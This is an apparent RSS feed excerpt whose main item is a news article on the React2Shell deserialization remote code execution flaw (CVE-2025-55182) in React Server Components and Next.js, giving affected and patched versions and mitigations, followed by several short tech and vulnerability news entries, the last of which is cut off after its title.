				<div class="et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p data-start="259" data-end="640">A <strong data-start="261" data-end="305">critical, maximum-severity vulnerability</strong> has been disclosed in <strong data-start="328" data-end="361">React Server Components (RSC)</strong> that enables <strong data-start="375" data-end="422">unauthenticated remote code execution (RCE)</strong> on exposed servers. Tracked as <strong data-start="454" data-end="472">CVE-2025-55182</strong> and nicknamed <strong data-start="487" data-end="502">React2Shell</strong>, the bug carries a <strong data-start="522" data-end="544">CVSS score of 10.0</strong>, reflecting its ease of exploitation and widespread impact across modern JavaScript frameworks.</p>
<p data-start="642" data-end="1000">According to the <a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components" target="_blank" rel="noopener">React Team</a>, the flaw originates from <strong data-start="696" data-end="766">how React decodes payloads sent to React Server Function endpoints</strong>, allowing arbitrary JavaScript to execute on the backend. Crucially, <strong data-start="836" data-end="931">applications may be vulnerable even if they do not explicitly use Server Function endpoints</strong> — <em data-start="934" data-end="999">simply enabling React Server Components is enough to be exposed</em>.</p>
<hr data-start="1002" data-end="1005">
<h2 data-start="1007" data-end="1073"><strong data-start="1010" data-end="1073">Root Cause: Unsafe Deserialization in React Flight Protocol</strong></h2>
<p data-start="1075" data-end="1371">Cloud security firm <a href="https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182" target="_blank" rel="noopener">Wiz</a> attributes the issue to <strong data-start="1123" data-end="1161">logical deserialization weaknesses</strong> in the <strong data-start="1169" data-end="1194">React Flight protocol</strong>, which processes RSC payloads. Attackers can send malicious payloads that React wrongly interprets as trusted structures, triggering direct execution of attacker-supplied code.</p>
<p data-start="1373" data-end="1627">Aikido Security further <a href="https://www.aikido.dev/blog/react-nextjs-cve-2025-55182-rce" target="_blank" rel="noopener">described</a> it as a case where <strong data-start="1426" data-end="1521">“malformed or adversarial payloads can influence server-side execution in unintended ways,”</strong> prompting the React team to harden deserialization and add strict payload validation in patched versions.</p>
<hr data-start="1629" data-end="1632">
<h2 data-start="1634" data-end="1671"><strong data-start="1637" data-end="1671">Affected Packages and Versions</strong></h2>
<p data-start="1673" data-end="1746">The flaw affects React RSC implementations in the following npm packages:</p>
<ul>
<li data-start="1750" data-end="1780"><strong data-start="1750" data-end="1778">react-server-dom-webpack</strong></li>
<li data-start="1783" data-end="1812"><strong data-start="1783" data-end="1810">react-server-dom-parcel</strong></li>
<li data-start="1815" data-end="1845"><strong data-start="1815" data-end="1845">react-server-dom-turbopack</strong></li>
</ul>
<h3 data-start="1847" data-end="1874"><strong data-start="1851" data-end="1874">Vulnerable Versions</strong></h3>
<ul>
<li data-start="1877" data-end="1885"><strong data-start="1877" data-end="1885">19.0</strong></li>
<li data-start="1888" data-end="1898"><strong data-start="1888" data-end="1898">19.1.0</strong></li>
<li data-start="1901" data-end="1911"><strong data-start="1901" data-end="1911">19.1.1</strong></li>
<li data-start="1914" data-end="1924"><strong data-start="1914" data-end="1924">19.2.0</strong></li>
</ul>
<h3 data-start="1926" data-end="1950"><strong data-start="1930" data-end="1950">Patched Versions</strong></h3>
<ul>
<li data-start="1953" data-end="1963"><strong data-start="1953" data-end="1963">19.0.1</strong></li>
<li data-start="1966" data-end="1976"><strong data-start="1966" data-end="1976">19.1.2</strong></li>
<li data-start="1979" data-end="1989"><strong data-start="1979" data-end="1989">19.2.1</strong></li>
</ul>
<p data-start="1991" data-end="2126">The vulnerability was discovered by security researcher <a href="https://lachlan.nz/about" target="_blank" rel="noopener"><strong data-start="2047" data-end="2067">Lachlan Davidson</strong></a> and responsibly reported to Meta on <strong data-start="2104" data-end="2125">November 29, 2025</strong>.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_5 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><strong>See Also: So, you want to be a hacker?<br>
</strong><strong><a href="https://www.blackhatethicalhacking.com/courses/" target="_blank" rel="noopener noreferrer">Offensive Security, Bug Bounty Courses</a></strong></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h4><span><strong>Discover your weakest link. Be proactive, not reactive. Cybercriminals need just one flaw to strike.</strong></span></h4>
<p><a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" class="alignnone wp-image-276050 size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png" alt="" width="800" height="120" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw"></a></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h2 data-start="2133" data-end="2190"><strong data-start="2136" data-end="2190">Next.js Also Impacted (CVE-2025-66478 — CVSS 10.0)</strong></h2>
<p data-start="2192" data-end="2319">Next.js, which widely incorporates React Server Components through its <strong data-start="2263" data-end="2277">App Router</strong>, is affected under a separate identifier:</p>
<h3 data-start="2321" data-end="2354"><strong data-start="2325" data-end="2354">Impacted Next.js Versions</strong></h3>
<ul>
<li data-start="2357" data-end="2379"><strong data-start="2357" data-end="2379">&gt;=14.3.0-canary.77</strong></li>
<li data-start="2382" data-end="2390"><strong data-start="2382" data-end="2390">&gt;=15</strong></li>
<li data-start="2393" data-end="2401"><strong data-start="2393" data-end="2401">&gt;=16</strong></li>
</ul>
<h3 data-start="2403" data-end="2427"><strong data-start="2407" data-end="2427">Patched Versions</strong></h3>
<ul>
<li data-start="2430" data-end="2440"><strong data-start="2430" data-end="2440">16.0.7</strong></li>
<li data-start="2443" data-end="2453"><strong data-start="2443" data-end="2453">15.5.7</strong></li>
<li data-start="2456" data-end="2466"><strong data-start="2456" data-end="2466">15.4.8</strong></li>
<li data-start="2469" data-end="2479"><strong data-start="2469" data-end="2479">15.3.6</strong></li>
<li data-start="2482" data-end="2492"><strong data-start="2482" data-end="2492">15.2.6</strong></li>
<li data-start="2495" data-end="2505"><strong data-start="2495" data-end="2505">15.1.9</strong></li>
<li data-start="2508" data-end="2518"><strong data-start="2508" data-end="2518">15.0.5</strong></li>
</ul>
<p data-start="2520" data-end="2626">Security firms warn that <strong data-start="2545" data-end="2614">any library bundling React Server Components is likely vulnerable</strong>, including:</p>
<ul>
<li data-start="2630" data-end="2647">Vite RSC plugin</li>
<li data-start="2650" data-end="2669">Parcel RSC plugin</li>
<li data-start="2672" data-end="2698">React Router RSC preview</li>
<li data-start="2701" data-end="2712">RedwoodJS</li>
<li data-start="2715" data-end="2721">Waku</li>
</ul>
<hr data-start="2723" data-end="2726">
<h2 data-start="2728" data-end="2796"><strong data-start="2731" data-end="2796">Exploitation: No Login, No Special Conditions, HTTP is Enough</strong></h2>
<p data-start="2798" data-end="2851">Endor Labs, VulnCheck, and Miggo Security emphasized:</p>
<ul>
<li data-start="2855" data-end="2890"><strong data-start="2855" data-end="2888">No authentication is required</strong></li>
<li data-start="2893" data-end="2954"><strong data-start="2893" data-end="2952">Any exposed Server Function endpoint is a viable target</strong></li>
<li data-start="2957" data-end="2995"><strong data-start="2957" data-end="2993">The attack works over plain HTTP</strong></li>
<li data-start="2998" data-end="3062"><strong data-start="2998" data-end="3062">Default framework configurations are exploitable immediately</strong></li>
</ul>
<p data-start="3064" data-end="3147">Attackers only need basic <strong data-start="3090" data-end="3108">network access</strong> to trigger RCE with a crafted request.</p>
<p data-start="3149" data-end="3299">Wiz reported that <strong data-start="3167" data-end="3196">39% of cloud environments</strong> they analyzed contain vulnerable React or Next.js installations — a staggering potential blast radius.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_9 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/articles/cyber-kill-chains-phases-understanding-the-cycle-of-a-cyber-attack/" target="_blank" rel="noopener noreferrer">Cyber Kill Chain’s phases: Understanding the cycle of a cyber attack<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News Adsense Adcode Horizontal --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_11 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/tools/ringreaper/" target="_blank" rel="noopener">Offensive Security Tool: RingReaper<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<h2 data-start="3306" data-end="3323"><strong data-start="3309" data-end="3323">Mitigation</strong></h2>
<p data-start="3325" data-end="3359"><strong data-start="3325" data-end="3359">Immediate actions recommended:</strong></p>
<ul>
<li data-start="3363" data-end="3413">Apply the patched versions <strong data-start="3390" data-end="3413">as soon as possible</strong></li>
<li data-start="3416" data-end="3502">Enable <strong data-start="3423" data-end="3436">WAF rules</strong> (Cloudflare already deployed global protection for proxied sites)</li>
<li data-start="3505" data-end="3556">Monitor HTTP traffic for <strong data-start="3530" data-end="3556">malformed RSC payloads</strong></li>
<li data-start="3559" data-end="3622">Restrict network access to affected applications where possible</li>
</ul>
<p data-start="3624" data-end="3738"><a href="https://blog.cloudflare.com/waf-rules-react-vulnerability/" target="_blank" rel="noopener">Cloudflare</a> confirmed that all customers — free and paid — are protected when traffic is proxied through their WAF.</p>
<hr data-start="3740" data-end="3743">
<h2 data-start="3745" data-end="3766"><strong data-start="3748" data-end="3766">Threat Outlook</strong></h2>
<p data-start="3768" data-end="3952">Palo Alto Networks Unit 42 identified <strong data-start="3806" data-end="3850">over 968,000 publicly accessible servers</strong> running modern frameworks like React and Next.js, forming an exceptionally attractive attack surface.</p>
<p data-start="3954" data-end="4000">Justin Moore of Unit 42 stressed the severity:</p>
<blockquote data-start="4002" data-end="4191">
<p data-start="4004" data-end="4191"><em data-start="4004" data-end="4191">“This is a master key exploit — the system executes the malicious payload with the same reliability as legitimate code because it operates exactly as intended, just on malicious input.”</em></p>
</blockquote>
<p data-start="4193" data-end="4362">Given its ease of exploitation, widespread impact, and attack simplicity, <strong data-start="4267" data-end="4361">React2Shell is now one of the most serious web-framework vulnerabilities disclosed in 2025</strong>.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_13 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/news/matrix-push-c2-emerges-as-browser-based-c2-platform-using-fake-notifications-for-cross-platform-attacks/" target="_blank" rel="noopener noreferrer">Matrix Push C2 Emerges as Browser-Based C2 Platform Using Fake Notifications for Cross-Platform Attacks<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_14  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><blockquote><p><em>Are u a security researcher? Or a company that writes articles about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing? </em><em>If you want to express your idea in an article contact us here for a quote: <strong>info@blackhatethicalhacking.com</strong></em></p></blockquote></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_15  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><em>Sources: thehackernews.com, blog.cloudflare.com, wiz.io/blog, react.dev/blog, aikido.dev/blog</em></strong></p>
<p><a href="https://thehackernews.com/2025/12/critical-rsc-bugs-in-react-and-nextjs.html" target="_blank" rel="noopener"><strong>Source Link</strong></a></p></div>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_1 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div><div class="et_pb_module et_pb_image et_pb_image_1 store-img">
				
				
				
				
				<a href="https://store.blackhatethicalhacking.com/" target="_blank"><span class="et_pb_image_wrap "><img decoding="async" width="1142" height="500" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png" alt="Merch" title="Store" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png 1142w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-980x429.png 980w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-480x210.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1142px, 100vw" class="wp-image-271829"></span></a>
			</div><div class=" et_pb_logo_slider  et_pb_logo_slider_0 ">
                
            </div>
			</div>
				
				
				
				
			</div>
			</div><div class="et_pb_column et_pb_column_1_4 et_pb_column_1    et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_module et_pb_sidebar_0 news-sidebar1 et_pb_widget_area clearfix et_pb_widget_area_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget rpwe_widget recent-posts-extended"><h4 class="widgettitle">Recent News</h4><div class="rpwe-block news-recent-posts-sb"><ul class="rpwe-ul"><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/researchers-infiltrate-lazarus-groups-famous-chollima-job-fraud-network-using-fake-developer-laptops/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-29-300x150.png" alt="Researchers Infiltrate Lazarus Group’s “Famous Chollima” Job-Fraud Network Using Fake Developer Laptops" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/researchers-infiltrate-lazarus-groups-famous-chollima-job-fraud-network-using-fake-developer-laptops/" target="_self">Researchers Infiltrate Lazarus Group’s “Famous Chollima” Job-Fraud Network Using Fake Developer Laptops</a></h3><time class="rpwe-time published" datetime="2025-12-03T11:44:41+02:00">December 3, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/matrix-push-c2-emerges-as-browser-based-c2-platform-using-fake-notifications-for-cross-platform-attacks/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/11/877x440-Images-for-the-News-posts-32-300x150.png" alt="Matrix Push C2 Emerges as Browser-Based C2 Platform Using Fake Notifications for Cross-Platform Attacks" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/matrix-push-c2-emerges-as-browser-based-c2-platform-using-fake-notifications-for-cross-platform-attacks/" target="_self">Matrix Push C2 Emerges as Browser-Based C2 Platform Using Fake Notifications for Cross-Platform Attacks</a></h3><time class="rpwe-time published" datetime="2025-11-25T10:53:49+02:00">November 25, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/sneaky2fa-phishing-kit-adds-browser-in-the-browser-bitb-to-steal-microsoft-365-sessions/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/11/877x440-Images-for-the-News-posts-31-300x150.png" alt="Sneaky2FA Phishing Kit Adds Browser-in-the-Browser (BitB) to Steal Microsoft 365 Sessions" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/sneaky2fa-phishing-kit-adds-browser-in-the-browser-bitb-to-steal-microsoft-365-sessions/" target="_self">Sneaky2FA Phishing Kit Adds Browser-in-the-Browser (BitB) to Steal Microsoft 365 Sessions</a></h3><time class="rpwe-time published" datetime="2025-11-20T14:43:06+02:00">November 20, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/new-clickfix-campaign-evalusion-deploys-amatera-stealer-and-netsupport-rat/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/11/877x440-Images-for-the-News-posts-29-1-300x150.png" alt="New ClickFix Campaign “EVALUSION” Deploys Amatera Stealer and NetSupport RAT" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/new-clickfix-campaign-evalusion-deploys-amatera-stealer-and-netsupport-rat/" target="_self">New ClickFix Campaign “EVALUSION” Deploys Amatera Stealer and NetSupport RAT</a></h3><time class="rpwe-time published" datetime="2025-11-18T12:16:33+02:00">November 18, 2025</time><div class="rpwe-summary"></div></li></ul></div><!-- Generated by http://wordpress.org/plugins/recent-posts-widget-extended/ --></div><div class="et_pb_widget widget_block"><h3>EXPLORE OUR STORE</h3></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="233" height="300" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Tshirt-233x300.png" class="image wp-image-280999  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="300" height="280" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/RedTeamers-e1725807706904-300x280.png" class="image wp-image-281001  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="711" height="1024" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Hoodie-711x1024.png" class="image wp-image-281002  attachment-large size-large" alt=""></a></div><div class="widget_text et_pb_widget widget_custom_html"><div class="textwidget custom-html-widget"> <!-- News Adsense Adcode --> <ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400" data-ad-format="auto" data-full-width-responsive="true"></ins> </div></div>
			</div><div class="et_pb_module et_pb_sidebar_1 news-sidebar2 et_animated et_pb_widget_area clearfix et_pb_widget_area_left  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget widget_block"><a href="https://www.blackhatethicalhacking.com/courses/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png"></a>
<h3>Offensive Security &amp; Ethical Hacking Course</h3>
<p>Begin the learning curve of hacking now!</p>
</div><div class="et_pb_widget widget_block"><hr>
<a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Solutions.png"></a>
<h3>Information Security Solutions</h3>
<p>Find out how Pentesting Services can help you.</p></div><div class="et_pb_widget widget_block"><hr>
<a href="https://discord.gg/EYMqveWXkv"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/10/Discord.png"></a>
<h3>Join our Community</h3></div>
			</div>
			</div>
				</div>
				
			</div>The post <a href="https://www.blackhatethicalhacking.com/news/react2shell-critical-bug-exposes-react-server-components-to-unauthenticated-remote-code-execution/">React2Shell – Critical Bug Exposes React Server Components to Unauthenticated Remote Code Execution</a> first appeared on <a href="https://www.blackhatethicalhacking.com/">Black Hat Ethical Hacking</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-55182 | Meta react-server-dom-webpack 19.0.0/19.1.0/19.1.1/19.2.0 React Server deserialization (EUVD-2025-200983 / Nessus ID 277108)]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel 19.0.0/19.1.0/19.1.1/19.2.0. It has been classified as critical. This affects an unknown part of the component React Server. This manipulation causes deserialization.

This vulnerabi...]]></description>
<link>https://tsecurity.de/de/3137800/sicherheitsluecken/cve-2025-55182-meta-react-server-dom-webpack-1900191019111920-react-server-deserialization-euvd-2025-200983-nessus-id-277108/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3137800/sicherheitsluecken/cve-2025-55182-meta-react-server-dom-webpack-1900191019111920-react-server-deserialization-euvd-2025-200983-nessus-id-277108/</guid>
<pubDate>Thu, 04 Dec 2025 09:07:10 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel 19.0.0/19.1.0/19.1.1/19.2.0</a>. It has been classified as <a href="https://vuldb.com/?kb.risk">critical</a>. This affects an unknown part of the component <em>React Server</em>. This manipulation causes deserialization.

This vulnerability is handled as <a href="https://vuldb.com/?source_cve.334172">CVE-2025-55182</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Deskreen v3.0.8 is out – rebuilt with Electron + Vite + React for speed and maintainability!]]></title>
<description><![CDATA[Hi there, Deskreen creator here.  For those who don't know - Deskreen is an app that makes any device with a web browser a second screen for your computer. And yes it works on linux. And YES it supports Wayland! Download here Lightning-fast performance Total bug annihilation  Fixed all known cras...]]></description>
<link>https://tsecurity.de/de/3076091/linux-tipps/deskreen-v308-is-out-rebuilt-with-electron-vite-react-for-speed-and-maintainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3076091/linux-tipps/deskreen-v308-is-out-rebuilt-with-electron-vite-react-for-speed-and-maintainability/</guid>
<pubDate>Mon, 03 Nov 2025 02:36:12 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi there, Deskreen creator here. </p> <p>For those who don't know - Deskreen is an app that makes any device with a web browser a second screen for your computer.<br> And yes it works on linux.<br> And <em>YES</em> it supports Wayland!</p> <p><a href="https://deskreen.com/download">Download here</a></p> <p><strong>Lightning-fast performance</strong></p> <p><strong>Total bug annihilation</strong></p> <ul> <li>Fixed all known crashes on Windows, macOS, &amp; Linux</li> <li>Fixed screen-sharing freezes &amp; black screens (especially on Wayland)</li> </ul> <p><strong>Fresh architecture</strong></p> <ul> <li>Migrated to Electron-Vite-React boilerplate</li> <li>Modular codebase → easier contributions &amp; faster iterations</li> <li>TypeScript everywhere for reliability</li> </ul> <p><strong>Polish &amp; refinements</strong></p> <ul> <li>Redesigned connection UI</li> <li>Better error messages (no more cryptic codes)</li> </ul> <p>Deskreen is now faster, stabler, and ready for the next decade of screen sharing.</p> <p>Love the speed? Star it on <a href="https://github.com/pavlobu/deskreen">GitHub</a> and spread the word!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/pavlobu"> /u/pavlobu </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1omg4w0/deskreen_v308_is_out_rebuilt_with_electron_vite/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1omg4w0/deskreen_v308_is_out_rebuilt_with_electron_vite/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[TypeScript Overtakes Python and JavaScript To Claim Top Spot on GitHub]]></title>
<description><![CDATA[TypeScript overtook Python and JavaScript in August 2025 to become the most used language on GitHub. The shift marked the most significant language change in more than a decade. The language grew by over 1 million contributors in 2025, a 66% increase year over year, and finished August with 2,636...]]></description>
<link>https://tsecurity.de/de/3071542/it-security-nachrichten/typescript-overtakes-python-and-javascript-to-claim-top-spot-on-github/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3071542/it-security-nachrichten/typescript-overtakes-python-and-javascript-to-claim-top-spot-on-github/</guid>
<pubDate>Thu, 30 Oct 2025 19:19:09 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TypeScript overtook Python and JavaScript in August 2025 to become the most used language on GitHub. The shift marked the most significant language change in more than a decade. The language grew by over 1 million contributors in 2025, a 66% increase year over year, and finished August with 2,636,006 monthly contributors. 

Nearly every major frontend framework now scaffolds projects in TypeScript by default. Next.js 15, Astro 3, SvelteKit 2, Qwik, SolidStart, Angular 18, and Remix all generate TypeScript codebases when developers create new projects. Type systems reduce ambiguity and catch errors from large language models before production. A 2025 academic study found 94% of LLM-generated compilation errors were type-check failures. Tooling like Vite, ts-node, Bun, and I.D.E. autoconfig hide boilerplate setup. Among new repositories created in the past twelve months, TypeScript accounted for 5,394,256 projects. That represented a 78% increase from the prior year.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=TypeScript+Overtakes+Python+and+JavaScript+To+Claim+Top+Spot+on+GitHub%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F25%2F10%2F30%2F1753252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F25%2F10%2F30%2F1753252%2Ftypescript-overtakes-python-and-javascript-to-claim-top-spot-on-github%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/25/10/30/1753252/typescript-overtakes-python-and-javascript-to-claim-top-spot-on-github?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[React-Framework Next.js 16 macht Turbopack zum Standard-Bundler]]></title>
<description><![CDATA[Turbopack und der Support für den React Compiler sind nun stabil. Das Caching soll durch die neuen Cache Components flexibler werden.]]></description>
<link>https://tsecurity.de/de/3054766/it-nachrichten/react-framework-nextjs-16-macht-turbopack-zum-standard-bundler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3054766/it-nachrichten/react-framework-nextjs-16-macht-turbopack-zum-standard-bundler/</guid>
<pubDate>Wed, 22 Oct 2025 10:30:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turbopack und der Support für den React Compiler sind nun stabil. Das Caching soll durch die neuen Cache Components flexibler werden.]]></content:encoded>
</item>
<item>
<title><![CDATA[Webentwicklung: Vite+ als einheitliche JavaScript-Toolchain geplant]]></title>
<description><![CDATA[Das Vite-Team arbeitet am kommerziellen Angebot Vite+. Anfang nächsten  Jahres soll eine Preview erscheinen.]]></description>
<link>https://tsecurity.de/de/3043989/it-nachrichten/webentwicklung-vite-als-einheitliche-javascript-toolchain-geplant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3043989/it-nachrichten/webentwicklung-vite-als-einheitliche-javascript-toolchain-geplant/</guid>
<pubDate>Thu, 16 Oct 2025 12:30:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Vite-Team arbeitet am kommerziellen Angebot Vite+. Anfang nächsten  Jahres soll eine Preview erscheinen.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-46565 | vitejs vite up to 4.5.13/5.4.18/6.1.5/6.2.6/6.3.3 path traversal (GHSA-859w-5945-r5v3)]]></title>
